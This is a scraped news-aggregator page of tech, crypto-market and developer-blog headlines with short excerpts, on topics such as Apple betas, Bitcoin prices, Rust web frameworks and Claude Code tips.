    Apple has officially opened public beta testing for its 2026 software lineup, with iOS 26, iPadOS 26, macOS 26 and watchOS 26 now available for supported devices. The rollout gives users an early look at what’s coming later this year, including a major visual overhaul and several new features across Apple’s platforms. One of the biggest […] The post Public Betas For Apple’s iOS 26, iPadOS 26, macOS 26 And watchOS 26 Now Available appeared first on Lowyat.NET.  ( 35 min )
    realme 15 Series Launches In India With AI Camera Tools
    realme has officially unveiled the realme 15 series in India. Comprising the realme 15 5G and the realme 15 Pro 5G, the mid-range lineup features new AI-powered tools and a big 7,000mAh battery. Both models sport a 6.8-inch 144Hz OLED display with a 1,280 × 2,300 resolution and a peak brightness of 6,500 nits. Aside […] The post realme 15 Series Launches In India With AI Camera Tools appeared first on Lowyat.NET.  ( 34 min )
    Intel To Consolidate Chip Assembly And Test Operations In Malaysia
    Intel is sharpening its global operations strategy with Malaysia emerging as part of its long-term manufacturing and growth plans. In a letter to employees following its Q2 2025 results, CEO Lip-Bu Tan confirmed that the company is consolidating its assembly and test operations to larger and more efficient hubs, with its facilities in Malaysia and […] The post Intel To Consolidate Chip Assembly And Test Operations In Malaysia appeared first on Lowyat.NET.  ( 34 min )
  • Open

    How to turn Open Source into a Job with Nick Taylor [Podcast #181]
    On this week's episode of the podcast, freeCodeCamp founder Quincy Larson interviews Nick Taylor. He's a software engineer from Montreal and a prolific open source contributor. We talk about: Why trying to build your own tooling will ultimately li...  ( 3 min )
  • Open

    The Download: saving the US climate programs, and America’s AI protections are under threat
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. How nonprofits and academia are stepping up to salvage US climate programs Nonprofits are trying to preserve a US effort to modernize greenhouse-gas measurements, amid growing fears that the Trump administration’s dismantling of…  ( 23 min )
    The deadly saga of the controversial gene therapy Elevidys
    It has been a grim few months for the Duchenne muscular dystrophy (DMD) community. There had been some excitement when, a couple of years ago, a gene therapy for the disorder was approved by the US Food and Drug Administration for the first time. That drug, Elevidys, has now been implicated in the deaths of…  ( 24 min )
    How nonprofits and academia are stepping up to salvage US climate programs
    Nonprofits are striving to preserve a US effort to modernize greenhouse-gas measurements, amid growing fears that the Trump administration’s dismantling of federal programs will obscure the nation’s contributions to climate change. The Data Foundation, a Washington, DC, nonprofit that advocates for open data, is fundraising for an initiative that will coordinate efforts among nonprofits, technical…  ( 31 min )

  • Open

    US crypto legislation drives $4B surge in stablecoin supply
    Regulatory clarity is opening the door for banks, asset managers, and crypto firms to roll out new stablecoin products.
    US crypto legislation drives $4B surge in stablecoin supply
    Regulatory clarity is opening the door for banks, asset managers, and crypto firms to roll out new stablecoin products.
    Here’s what happened in crypto today
    Need to know what happened in crypto today? Here is the latest news on daily trends and events impacting Bitcoin price, blockchain, DeFi, NFTs, Web3 and crypto regulation.
    Ex-Gemini, Kraken exec appointed as CEO of crypto advocacy group
    Ji Hun Kim became acting CEO of the Crypto Council for Innovation in December 2024 after the departure of Sheila Warren.
    Ex-Gemini, Kraken exec appointed as CEO of crypto advocacy group
    Ji Hun Kim became acting CEO of the Crypto Council for Innovation in December 2024 after the departure of Sheila Warren.
    MEV arbitrageurs on Ethereum increasingly centralized — Research
    Arbitrageurs who exploit price discrepancies between centralized and decentralized crypto exchanges are harming network decentralization, new research finds.
    MEV arbitrageurs on Ethereum increasingly centralized — Research
    Arbitrageurs who exploit price discrepancies between centralized and decentralized crypto exchanges are harming network decentralization, new research finds.
    Bitcoin is losing its bullish momentum: Is a drop to $115K next?
    Bitcoin may face a short-term dip as a bearish divergence, CME gap, and a high IBCI reading point to downside below $115,000.
    Bitcoin is losing its bullish momentum: Is a drop to $115K next?
    Bitcoin may face a short-term dip as a bearish divergence, CME gap, and a high IBCI reading point to downside below $115,000.
    XRP vs ETH: Which token is quietly outperforming in whale-fueled rallies?
    XRP vastly outperformed ETH over the past year, but institutional investor demand for Ether could change the trend.
    XRP vs ETH: Which token is quietly outperforming in whale-fueled rallies?
    XRP vastly outperformed ETH over the past year, but institutional investor demand for Ether could change the trend.
    Ethereum core developer testifies in Roman Storm defense as gov’t rests case
    After two weeks of hearing from US government witnesses, Roman Storm’s legal team called Preston Van Loon to the stand to kick off its defense case.
    ETH core developer testifies in Roman Storm defense as gov’t rests case
    After about two weeks of hearing from US government witnesses, Roman Storm’s legal team called Preston Van Loon to the stand to kick off its defense case.
    ‘Every family here is sick,‘ say neighbors of Bitcoin mining facility in Texas
    A new More Perfect Union video sheds light on what life is like for Granbury, Texas, residents living with the near-constant noise of a Bitcoin mining operation.
    DOGE news update: Treasury purchases may kickstart rally to $0.29
    Bit Origin’s DOGE purchase for its crypto treasury could improve sentiment and boost the altcoin above the $0.29 resistance.
    DOGE news update: Treasury purchases may kickstart rally to $0.29
    Bit Origin’s DOGE purchase for its crypto treasury could improve sentiment and boost the altcoin above the $0.29 resistance.
    Fintech, crypto groups press Trump to protect open banking amid bank pushback
    Crypto and fintech groups are urging Trump to defend open banking rules, warning the case could affect access to wallets, DeFi apps, and stablecoins.
    Fintech, crypto groups press Trump to protect open banking amid bank pushback
    Crypto and fintech groups are urging Trump to defend open banking rules, warning the case could affect access to wallets, DeFi apps, and stablecoins.
    How to use ChatGPT Agent for crypto trading in 2025
    ChatGPT Agents can assist with crypto trading in 2025 by automating research and analysis, while keeping users in control through built-in safety features.
    Ether to show Bitcoin ‘leadership’ as BTC ETFs lose $285M: Research
    Ether versus Bitcoin in the US spot ETF world becomes a major talking point, with Swissblock research seeing ETH coming out winning in the long term.
    Ether to show Bitcoin 'leadership' as BTC ETFs lose $285M: Research
    Ether versus Bitcoin in the US spot ETF world becomes a major talking point, with Swissblock research seeing ETH coming out winning in the long term.
    Bitcoin consolidation expected to end with impulse move to $135K: Data
    Bitcoin’s tight range hints at a major move — bulls eye $135K if $123K breaks, but a drop below $115K could flip momentum to bears.
    Bitcoin consolidation expected to end with impulse move to $135K: Data
    Bitcoin’s narrowing trading range could result in a springboard move to $135,000.
    Strategy expands preferred stock offering to $2B amid Bitcoin-fueled rally — Report
    Michael Saylor’s company has accumulated 607,770 BTC since adopting its Bitcoin treasury strategy in 2020.
    Strategy expands preferred stock offering to $2B amid Bitcoin-fueled rally — Report
    Michael Saylor’s company has accumulated 607,770 BTC since adopting its Bitcoin treasury strategy in 2020.
    Trading platform WOO X pauses withdrawals after $14M breach
    The hack only affected a limited number of user wallets, but withdrawals have been temporarily paused for additional safety, the team said.
    Trading platform WOO X pauses withdrawals after $14M breach
    The hack only affected a limited number of user wallets, but withdrawals have been temporarily paused for additional safety, the team said.
    Anchorage Digital announces stablecoin issuance platform on GENIUS’ heels
    The digital asset service company joins a growing list of firms making stablecoin moves following the GENIUS bill's passage into law.
    Anchorage Digital announces stablecoin issuance platform on GENIUS' heels
    The digital asset service company joins a growing list of firms making stablecoin moves following the GENIUS bill's passage into law.
    ADA dip buyers defend key support: Will the bounce lead to $1?
    ADA bounces off $0.75 support as bulls eye a rally toward $1, but resistance at $0.94 could pose a challenge for the next leg higher.
    ADA dip buyers defend key support: Will the bounce lead to $1?
    Buyers aggressively defended ADA’s $0.75 support level, possibly kickstarting a rally back to $1.
    Bitcoin miner Bitzero raises $25M for AI and HPC data expansion
    Bitzero is among several Bitcoin mining companies that have embraced the HPC and data center business.
    Bitcoin miners pivot to HPC: Bitzero raises $25M to expand into high-margin data centers
    Bitzero is among several Bitcoin mining companies that have embraced the HPC and data center business.
    Ethereum analysts see ‘further upside’ as ETH price reclaims $3.6K
    Ethereum price has more room to run, with big overhead resistance at $4,500 in place and several key support levels below.
    Solana unveils 2027 roadmap to lead internet capital markets
    The Solana Foundation’s 2027 roadmap called market microstructures the “most important problem in Solana today.”
    Tokenomics are broken, and only contribution can fix this
    Traditional staking rewards capital over contribution, creating unsustainable token economies. Tokenomics' future lies in performance-based tokenomics that reward measurable work.
    How hackers stole $44M from CoinDCX without touching user wallets
    A $44-million breach at CoinDCX has rocked India’s CoinDCX exchange, exposing silent vulnerabilities, delayed disclosures and the fragile infrastructure.
    BlackRock Ethereum ETF becomes 3rd-fastest to hit $10B in assets
    BlackRock’s iShares Ethereum ETF reached $10 billion in assets in just 251 days since its launch one year ago, while its Bitcoin ETF took only 34 days to break the milestone.
    UK crypto hopes stall, but ‘encouraging signs’ are there
    The crypto industry in the UK is pushing for the government to change the rules of the road, and it just may be working.
    How traditional financial tools are making crypto investing more accessible
    Index funds, staking strategies and crypto’s new wave of accessibility are potentially shaping the future of investing in digital assets to look a lot more like traditional finance.
    Franklin Templeton to bring BENJI platform to VeChain for enterprise payments
    Franklin Templeton has launched the BENJI platform on at least seven blockchains, with the fund’s largest market share on Stellar.
    Bitcoin treasury fever grows in Japan as AI company targets 3,000 BTC
    Japanese AI company Quantum Solutions launched a Bitcoin treasury via its Hong Kong subsidiary GPT Pals Studio, targeting a 3,000 BTC reserve within 12 months.
    Build on Bitcoin adds ZK-proofs in upgrade toward decentralization
    Build on Bitcoin upgrades to ZK fraud proofs, aiming to climb L2Beat’s decentralization rankings and unlock Ethereum-level DeFi on Bitcoin.
    UK firm smashes local Bitcoin treasury record with $135M raise
    Satsuma Technology raised $135 million to fund one of the UK's biggest single Bitcoin treasury acquisitions, positioning itself as a top regional BTC holder.
    Societe Generale to make markets in 21Shares Bitcoin, Ether ETPs
    Societe Generale will provide liquidity for 21Shares’ Bitcoin and Ethereum ETPs, expanding access for institutional crypto investors in Europe.
    FTX to begin $1.9B payouts in September as claims no longer disputed
    FTX’s next $1.9 billion distribution would unlikely include repayments to jurisdictions questioned in an earlier motion, which is currently being rewritten, according to creditors.
    Men accused in New York crypto torture case out on bail
    The suspects allegedly held an Italian man hostage for weeks in a Manhattan townhouse, beating him and demanding access to his Bitcoin wallet.
    Elon Musk floats robots in ‘cute outfits’ while Tesla earnings miss
    Tesla’s retro-themed diner opened this week with lines around the block, but that didn’t stop the stock from dipping after hours as it reported its Q2 earnings.
    Crypto hacks surpass $3.1B in 2025 as access flaws persist: Hacken
    Over $3.1 billion in crypto has been lost in 2025, according to a Hacken report. Access-control exploits are the primary cause.
    XRP price drops 19% but analysts say it’s a ‘healthy correction’
    XRP price is down today due to overheated conditions, but analysts say it’s a normal market pullback that could precede a stronger rebound in the short term.
    Hong Kong to criminalize unlicensed stablecoin promotions from Aug. 1
    Starting Aug. 1, offering or advertising unlicensed stablecoins to retail investors in Hong Kong could get violators a 50,000 Hong Kong dollar fine and six months in jail.
    XRP dump: Ripple co-founder under fire for moving $175M XRP near highs
    Ripple’s Chris Larsen shifted 50 million XRP to exchanges just as prices peaked, sparking accusations of “dumping” tokens.
    Australian fintech Finder wins court battle over crypto yield product
    Australia’s Federal Court ruled Finder’s Earn product is not a financial instrument, defeating ASIC’s appeal in a major win for the country’s fintech sector.
    Bitcoin due 'massive short squeeze' as BTC dominance bounces to 62%
    Bitcoin exchange order-book liquidity is creating the conditions for a giant short squeeze event as traders bet against BTC price upside.
    Can ChatGPT predict Bitcoin’s next move?
    While it’s not built for real-time calls, ChatGPT can still support smarter Bitcoin trading decisions when paired with the right data and well-crafted prompts.
    Amended class action calls Pump.fun a ‘slot machine cabinet’ in $5.5B case
    An amended lawsuit accused Pump.fun and key Solana partners of operating an unlicensed digital casino that funneled billions through deceptive memecoin schemes.
    Golden visas are shrinking for crypto investors
    Wealthy crypto investors are attracted to golden visa programs thanks to their residency and tax benefits, but their list of options is getting shorter.
    US Ether ETFs celebrate 1 year with bullish inflow streak
    Spot Ether ETFs went live on the US market one year ago, have taken in nearly $8.7 million in net inflows and now wield over $16.6 billion in assets.
    Bros who tricked MEV bots with their own medicine must face trial, says judge
    A judge has denied MIT brothers’ bid to dismiss $25 million crypto fraud charges, ruling their novel crypto exploit methods still constitute wire fraud.
    Solana block capacity is up 20% and there’s a proposal for it to go even higher
    Solana isn’t the only network upgrading its block capacity; Ethereum's gas limit increased to just under 45 million units as of Tuesday.
    Ether stumbles as ETH validator exit queue hits 18-month high
    The Ethereum validator exit queue is at its longest in nearly two years as $2.3 billion worth of Ether now awaits unstaking. Is it profit taking or repositioning?
    US appeals court overturns Yuga Labs’ $9M win against Ryder Ripps
    The US Ninth Circuit Court of Appeals has reversed Yuga Labs’ $9 million reward in its trademark infringement suit against artist Ryder Ripps.
    XRP tanks 10% but ATH comeback is still in play: Bitpanda exec
    A crypto executive says it is “difficult to pinpoint” exactly where XRP is going, but reclaiming levels above the current all-time high is not off the table.
    Scammers pounce as crypto markets touch new all-time highs
    Ripple warns that bad actors are stealing YouTube accounts and using them to impersonate the firm to shill their scams, including fake “XRP giveaways.”
  • Open

    Top Coding Agents: What's your take ?
    Hello everyone on Dev.to! I hope you all are doing great! I'm looking for your valuable insights: Does anyone here use any AI CLI agent or IDE for coding frontend apps ? Gemini, Codex or Clause ? Or IDEs like Cursor or Windsurf ? Which one goes over the others -- and in what aspects? Could you kindly share your experience & opinion ?  ( 3 min )
    10 Lessons I Learned Vibecoding with Bolt as a Complete Beginner
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. As someone with zero technical background, I never imagined I could build something from scratch. But here I am, having created FriendCards (a CRM for your personal life and dating life) using Bolt. From it launched three weeks ago to now with 30+ users! I was also incredibly honored to be featured in a live demo with the organizer out of over nine thousand submissions. Today, I want to share the lessons to other fellow beginners out there who might be frustrated about how to start. I welcome your feedback on how we can make the vivecoding journey better as I am continuously learning! ❤️ 1. Start Small and Personal 2. Use ChatGPT as Your Starting Coach 3. Break Free from Cookie-Cutter Designs 21s…  ( 5 min )
    Efficient WebSocket Server-Side Processing(4648)
    GitHub Homepage During my junior year studies, WebSocket technology has always been my most interested real-time communication solution. Compared to traditional HTTP polling, WebSocket provides true bidirectional real-time communication capabilities. Recently, I deeply studied a Rust-based web framework whose WebSocket server-side processing implementation gave me a completely new understanding of modern real-time communication technology. In my previous projects, I used Node.js Socket.io to implement WebSocket functionality. While powerful, its complex configuration and high resource consumption left a deep impression on me. // Traditional Node.js WebSocket implementation const io = require('socket.io')(server); const clients = new Map(); io.on('connection', (socket) => { console.log('…  ( 8 min )
    How to Build a Skin Progress Monitoring App Using Python and Flutter
    Taking care of your skin is no longer limited to a visit to a spa. In the age of smartphones and IoT, you can now monitor the health and progress of your skin directly from your mobile device. In this tutorial, we’ll walk you through how to build a simple but powerful app to track facial improvements over time — from analyzing texture and tone to identifying subtle changes that result from treatments like facials. This guide will use Flutter for the frontend and Python (specifically FastAPI) for the backend. We'll also touch on how to integrate image processing and databases to store progress securely. Skincare can be highly personal, and results from facials or other spa treatments may take time to show. With an app, users can: Upload daily or weekly facial images. Receive basic analysis …  ( 5 min )
    Error Handling Strategies in High-Performance Web Servers(0819)
    GitHub Homepage: https://github.com/eastspire/hyperlane My journey into robust error handling began during a production incident where a single unhandled exception brought down our entire web service. The cascade failure taught me that error handling isn't just about preventing crashes—it's about building resilient systems that gracefully degrade under stress while maintaining service availability. This experience led me to explore error handling strategies that could maintain both performance and reliability. The critical insight came when I realized that traditional error handling approaches often create performance bottlenecks through excessive exception throwing, complex stack unwinding, and resource cleanup overhead. My research revealed a framework that implements error handling patt…  ( 10 min )
    Reformas e Manutenções: Como Tornar Seu Projeto Prático, Seguro e Econômico
    Realizar reformas ou manutenções em um imóvel é uma necessidade comum, seja para valorizar o espaço, adequá-lo ao que precisa ou simplesmente corrigir desgastes do tempo. No entanto, esses projetos frequentemente são vistos como sinônimos de dor de cabeça: gastos altos, atrasos, muita bagunça e até perigos. A boa notícia é que não precisa ser assim. Com planejamento adequado e, fundamentalmente, o uso dos equipamentos e ferramentas corretos, é possível transformar reformas e manutenções em processos muito mais fáceis, seguros e baratos. A diferença entre um projeto de reforma cheio de problemas e um executado com fluidez reside, em grande parte, na capacidade de realizar cada tarefa de forma rápida e segura. Demolir uma parede, remover pisos antigos, misturar pequenas quantidades de argama…  ( 12 min )
    Modernização no Dia a Dia: Como a Aluguel de Máquinas Transforma Pequenos Trabalhos em Grandes Conquistas
    A Transformação Sutil: Quando Reformas Do dia a dia Descobrem Respostas Profissionais A próxima escolha consistia em contratar especialistas para atividades relativamente básicas, uma resposta que muitas vezes parecia inadequada em aspectos de custo-benefício para projetos menores. aluguel de equipamentos em Foz do Iguaçu  ( 14 min )
    Aluguel para Consultores Independentes: A Abordagem Inteligente que Moderniza Projetos e Reformas no Brasil
    O Profissional Liberal na Obra: Personagem principal da Inovação Nacional Aperfeiçoamento de sinalizadores financeiros através de corte de patrimônio fixados melhora sinalizadores de rentabilidade e performance operacional. Organização de bens mais compacta torna fácil acesso a crédito e aperfeiçoa exame de performance profissional. aluguel de ferramentas em Foz do Iguaçu  ( 13 min )
    O Caminho Para Reformas e Manutenções Eficientes: Use os Equipamentos Adequados
    Reformar ou fazer manutenção em um imóvel é algo comum, seja para deixar o local mais valioso, adaptá-lo às novas necessidades ou simplesmente corrigir desgastes do tempo. No entanto, esses projetos frequentemente são vistos como sinônimos de problemas: gastos altos, atrasos, sujeira excessiva e até perigos. A boa notícia é que não precisa ser assim. Com um bom plano e, fundamentalmente, o uso dos equipamentos e ferramentas corretos, é possível transformar reformas e manutenções em processos muito mais fáceis, seguros e baratos. A diferença entre um projeto de reforma cheio de problemas e um executado com facilidade reside, em grande parte, na capacidade de realizar cada tarefa de forma rápida e segura. Demolir uma parede, remover pisos antigos, misturar pequenas quantidades de argamassa o…  ( 12 min )
    AI-Powered Website Generator with ChatGPT and Next.js 15: Building SEO-Optimized Pages from Scratch (v0 Blueprint)
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    How Claude Code Found a Production Race Condition in 30 Seconds (That Humans Missed for 2 Weeks)
    How Claude Code Found a Production Race Condition in 30 Seconds (That Humans Missed for 2 Weeks) The Crisis Payment system randomly failing. 1 in 1000 transactions. Revenue bleeding. Customers angry. Three senior developers, two weeks of debugging, zero progress. Then Claude Code found it in 30 seconds. # Manual code review grep -r "payment" . | head -50 # Add logging console.log("Payment validation started:", paymentId); # Load testing ab -n 1000 -c 50 http://localhost:3000/payments # Monitoring deep-dive # ... hours of Datadog exploration Result: Nothing. Bug remained invisible. $ claude 'analyze this codebase for potential race conditions' Output: 🔍 Race condition detected: src/payments/processor.js:147 Issue: Payment validation runs async while database writes occur…  ( 4 min )
    Securing AI APIs and Frontends | AI Security series
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    GitHub Homepage: https://github.com/eastspire/hyperlane My deep dive into context management began during a performance optimization project where I discovered that inefficient request context handling was creating memory leaks and performance bottlenecks. Traditional web frameworks often treat context as an afterthought, leading to resource waste and complex state management. This experience led me to explore how sophisticated context management can dramatically improve both performance and developer experience. The pivotal insight came when I realized that request context isn't just about passing data between functions—it's about creating an efficient, type-safe mechanism for managing the entire request lifecycle. My research revealed a framework that implements context management patter…  ( 9 min )
    Building an Azure CI/CD Dashboard: Errors, Solutions, and Lessons Learned
    In my journey to build a meaningful Azure CI/CD dashboard as part of my product-led platform, I faced several technical challenges and errors along the way. These obstacles became valuable learning experiences that helped me deepen my understanding of React development, npm, and continuous integration workflows. This blog post walks you through some common errors I encountered, how I diagnosed and fixed them, and the overall significance of these steps in delivering a functional dashboard. Setting Up the React Project Initially, I ran the following command to start the development server: npm start However, I immediately ran into an error: npm ERR! enoent Could not read package.json: Error: ENOENT: no such file or directory, open '/workspaces/azure-terraform-setup/package.json This meant t…  ( 6 min )
    Dein Code ist brillant, aber deine Texte sind..
    Kommt dir das bekannt vor? Du hast Nächte damit verbracht, eine elegante Lösung für ein kniffliges Problem zu entwickeln. Dein Code ist sauber, die Architektur ein Traum und die Performance... chef's kiss. Stolz zeigst du dein Werk, sei es eine neue App, ein Open-Source-Tool oder dein Portfolio. Die Reaktion? Ein höfliches Nicken. Leere Blicke. Oder die gefürchtete Frage: "Ähm, okay... und was genau macht das jetzt?" Autsch. Der Grund ist oft nicht dein Code. Der Grund ist, dass die Brücke zwischen deiner technischen Brillanz und dem Gehirn des Nutzers fehlt. Diese Brücke nennt sich Copywriting – und nein, keine Sorge, du musst dafür kein schmieriger Marketing-Typ werden. Als Entwickler denken und lieben wir Features. Wir sind stolz darauf, dass unsere App "einen Rust-Backend mit einem asy…  ( 5 min )
    My First Experience as a Feature Lead in Technology✅
    Restructuring the Benefits Hub – A New Customer Experience 💥Week 1 – Business Alignment and Vision Understanding During refinement with the team, I was able to help the business understand that the delivery of this autonomy in the backoffice would need to be postponed to a second phase in order to meet the deadline for the main release. And that’s what we did. We had to hardcode many parts in the BFF to ensure that in the second phase, we would only need to adjust and integrate it with the backoffice. 💥Week 2 – Technical Refinement and Planning 💥Week 3 – PBI Planning and Architecture Decisions 💥Week 4 – Service Development (V2) 💥Week 5 – BFF and APIM Development 💥Week 6 – E2E Testing with the Mobile Team 💥Week 7 – Production Testing with Feature Flag 🚀Week 8 – Official Launch Final Thoughts Although I’ve only been in the tech field for three years, my background in management and strategic thinking played a key role in driving this delivery. Working with a diverse team including junior, mid-level, and senior developers was incredibly enriching. Each person was essential, not only for their technical expertise but also for their commitment and shared drive to deliver. This was a fantastic experience that confirmed something for me: I need to keep learning and going deeper into both technical and product domains, so I can contribute even more in future projects. I was proud of myself!!😊 Code with purpose. Test with strategy. Deploy with confidence.  ( 5 min )
    [Boost]
    Build a Fullstack Stock Portfolio Agent with LangGraph and AG-UI Bonnie for CopilotKit ・ Jul 24 #webdev #programming #opensource #ai  ( 2 min )
    How Criteo scaled 290M QPS and cut its server footprint by 78%
    Author: Steve Tuohy - Director of Product Marketing Discover how Criteo scaled to 290M queries-per-second, swapped Couchbase + Memcached for Aerospike, cut servers by 78%, and kept sub-ms latency. Criteo serves more than 700 million users daily with personalized ads, processing billions of events in milliseconds. At its peak, Criteo’s infrastructure handles 290 million key-value queries per second (QPS). Until recently, this real-time engine ran on a complex stack of Couchbase and Memcached, propped up by custom C clients and costly operational overhead. Performance during rebalancing was fragile, cache warming required manual traffic shaping, and RAM costs were high. But when Criteo rebuilt its stack using Aerospike’s patented Hybrid Memory Architecture (HMA), the company consolidated two…  ( 6 min )
    Application of Async Programming in Web Development(3473)
    GitHub Homepage As a junior computer science student, I gradually recognized the importance of asynchronous programming during my web development learning process. Traditional synchronous programming models often cause thread blocking when handling IO-intensive tasks, while asynchronous programming allows programs to continue processing other tasks while waiting for IO operations. Recently, I deeply studied a Rust-based web framework whose asynchronous programming implementation gave me a completely new understanding of this technology. In my previous projects, I used traditional synchronous programming models. While this model has clear logic, it encounters serious performance bottlenecks when handling large numbers of concurrent requests. // Traditional synchronous programming example @R…  ( 8 min )
    Stop Googling for Tiny Tools — I Made a Site That Has All the Useful Ones in One Place (No Login. No Ads.)
    Hey everyone 👋 "compress image to 100KB online" "generate strong password" "convert HEX to RGBA" "remove duplicate lines" …only to end up on some spammy website full of popups, trackers, and captcha walls? Well, I got tired of that. So I built [TrixaHub.com](https://trixahub.com) — a collection of genuinely useful tools that load fast, work instantly, and respect your privacy. Here’s a taste of what’s live: 📦 Image Compressor: Compress to 20KB, 100KB, 200KB, etc. 🔐 Password Generator: Random, memorable, custom length 🎨 Color Converters: HEX ⇄ RGB ⇄ RGBA with live preview 📅 Age & Date Difference Calculators 📊 CSV to Table Viewer 🧹 Remove extra spaces or duplicate lines 🔧 JSON Formatter All of this without: ❌ Ads ❌ Logins ❌ Unnecessary bloat HTML, Tailwind CSS, JavaScript Some tools in React Hosted on Hostinger Focus on privacy (no cookies, no analytics) 👉 https://trixahub.com I’m constantly adding new tools based on feedback. Let me know what you think or what tool you’d love to see next 🙌 Thanks for reading! If you found this useful, hit the ❤️ and leave a comment.  ( 3 min )
    From Breathing Space to Building: Why I'm Joining Continue as Senior Developer Advocate
    In June, I wrote about taking time to breathe and explore new opportunities in AI tools. That exploration led me exactly where I needed to be: I'm thrilled to announce that I've joined Continue as Senior Developer Advocate! 🎉 As I shared on a number of occasions, whether or not you thrive in a role depends on the people around you—your people. After going through a period of recalibration, I knew I needed to find a team where I could hit the ground running while having the flexibility to balance my priorities as a mom of four–and, surprise, I'm homeschooling one of my kids this year 🙃 Continue checked every box. I already knew I worked well with bdougie, I had the trust and flexibility I needed, and I'm genuinely excited about what they're building and a user. As someone who's spent the…  ( 5 min )
    [Boost]
    The Best Resources for Getting Started with Agents in 2025 Anmol Baranwal for CopilotKit ・ Jul 22 #opensource #webdev #programming #ai  ( 2 min )
    Concurrency Mastery Through Advanced Async Programming(9042)
    GitHub Homepage: https://github.com/eastspire/hyperlane My fascination with concurrent programming began during a distributed systems course where our professor challenged us to handle 100,000 simultaneous connections on a single server. Most students immediately thought about thread pools and complex synchronization mechanisms. I discovered a fundamentally different approach that revolutionized my understanding of high-concurrency web development. The breakthrough moment came while analyzing the performance characteristics of various concurrency models. Traditional threading approaches quickly hit scalability walls due to context switching overhead and memory consumption. Each thread typically consumes 2-8MB of stack space, making 100,000 concurrent connections require 200-800GB of memory…  ( 6 min )
    Claude Code's features that most developers never use
    Claude Code represents Anthropic's approach to bringing AI assistance directly into your terminal while maintaining deep integration with your development environment. While most developers use it for basic chat interactions, the platform includes advanced features that can fundamentally change how you approach software development. This week I explored the lesser known capabilities that separate casual users from developers who have transformed their entire workflow. Some of these techniques I use daily, others I discovered through research and other dev communities. Here are the methods that can deliver the most significant productivity improvements. Create project memory with /init The /init command scans your entire project structure and generates a CLAUDE.md file that serves as pers…  ( 4 min )
    AI YouTube Script to Video in One Click? I Tested the Best Tools (Fast, Free & No Fluff)
    You’ve Got a Script, But Hate Editing? Yeah, Same So you’ve written a clean YouTube script. Cool. Now what? Start recording? Use Final Cut? Waste an hour googling “text to video free no watermark”? Nah. You typed: “ai youtube script to video in one click” — and I did too. I was desperate for a tool that just lets me paste my script, hit generate, and spit out a watchable YouTube video — voiceover, visuals, everything — with zero headache. And fam, let me tell you — most tools LIE. They say “1-click,” and it turns into 19 clicks + 4 upsells + a watermark slapped on your forehead. So I tested them all. You don’t have to. This post breaks down what actually works if you're trying to: ✅ Turn your script into a legit video ✅ Skip editing completely ✅ Create content for YouTube, not just…  ( 10 min )
    The Art of Simplicity: Non-Triviality in Modern Software
    In the previous post, we established that simplicity is about reasoning—the ability to clearly understand what a system does, how it works, and why it behaves in a particular way. To understand what impedes that reasoning, this post takes a step back to analyze the fundamental nature of the systems we build. We will borrow insights from the field of cybernetics to dissect how modern software works, on a search to diagnose what precisely makes it complex. In computer science, a "Turing complete" system is capable of performing any computation a theoretical Turing machine can. All modern programming languages are Turing complete, providing the fundamental power to build incredibly diverse applications. However, while the underlying computational engine (the programming language itself, or th…  ( 7 min )
    Cross-Platform Web Development Without Compromise(6096)
    GitHub Homepage: https://github.com/eastspire/hyperlane As a computer science student working on cross-platform projects, I've always been frustrated by the compromises required when targeting multiple operating systems. My experience developing web services that needed to run seamlessly across Windows, Linux, and macOS led me to discover an approach that eliminates platform-specific code while maintaining native performance on all systems. The challenge became apparent during a group project where our team needed to deploy the same web service across heterogeneous infrastructure. Our initial Node.js implementation worked but suffered from platform-specific performance variations and deployment complexities. This experience motivated me to explore alternatives that could deliver consistent…  ( 6 min )
    🚀 Uploading Files to Anthropic AI Using Node.js
    Working with LLMs sometimes means needing to pass custom files whether it's a dataset, a PDF, or logs—to your model. Anthropic makes this easy with their file upload API, and here's how you can do it in just a few lines of Node.js! import fs from 'fs'; import Anthropic from '@anthropic-ai/sdk'; // Initialize the Anthropic client const client = new Anthropic(); async function main() { // Upload a file to Anthropic const file = await client.beta.files.upload({ file: fs.createReadStream('document.pdf'), }); console.log('📁 File uploaded with ID:', file.id); } main().catch(console.error); 🔍 What's happening here? client.beta.files.upload() sends it to Anthropic's servers. Once uploaded, the returned file.id can be used to reference this file in other API calls. ✅ Use Cases Enable retrieval-augmented generation (RAG) workflows. Build smarter assistants with contextual file awareness.  ( 3 min )
    Coffee culture = office culture
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. My inspiration for this project comes from a mobile workspace, working from a cafe with a lot of space and sitting areas where people area sitting in front of their laptops, sipping coffee, and working on their projects. I want to capture the essence of a high desk: the essential laptop from the back, the ever-present cup of coffee and a window in the back with the sun shining in. The style is simple and minimalistic, with a focus on the details that make a workspace feel personal and inviting. The office culture - non office culture. The live demo showcases a dynamic and responsive CSS art piece. The entire office desk scene is rendered with HTML and styled with CSS, featuring subtle …  ( 4 min )
    Ultimate Optimization of Lightweight Server Architecture(1531)
    GitHub Homepage During my junior year studies, I have been pondering a question: how can we optimize server architecture to the extreme while maintaining functional completeness? Traditional heavyweight frameworks, while feature-rich, often come with issues like high resource consumption and slow startup times. Recently, I encountered an impressive lightweight server architecture that completely changed my understanding of web server design. In my previous project experience, I have used mainstream frameworks like Spring Boot and Django. While these frameworks are powerful, their resource consumption left a deep impression on me. A simple Spring Boot application requires over 200MB of memory to start and often takes more than 10 seconds to boot up. // Traditional Spring Boot application st…  ( 8 min )
    Serverless FastAPI Security: Unlocked Doors Invite Unwanted Guests
    In part 1 and part 2 of our Serverless FastAPI series, we covered the development and testing aspects of our FastAPI app. Now we’ll shift our attention to security. Security shouldn’t be an afterthought, however, the theme of this series has been to get you up and running in a manner that is beginner-friendly, whilst also exposing you to shortcomings and approaches in an organic way. Up until now, our Lambda Function URL has been publicly accessible, allowing every opportunist, every bad actor and their collective to have an open pass with an unprotected API provided they can find the endpoint URL. The thought of an unprotected API in 2025 is starting to sound like a bad low-budget movie that went straight to DVD back in the 2000s. As the saying goes in the UK, it’s not looking good brav. …  ( 8 min )
    🔄 Push vs Pull Architecture: What’s the Real Difference?
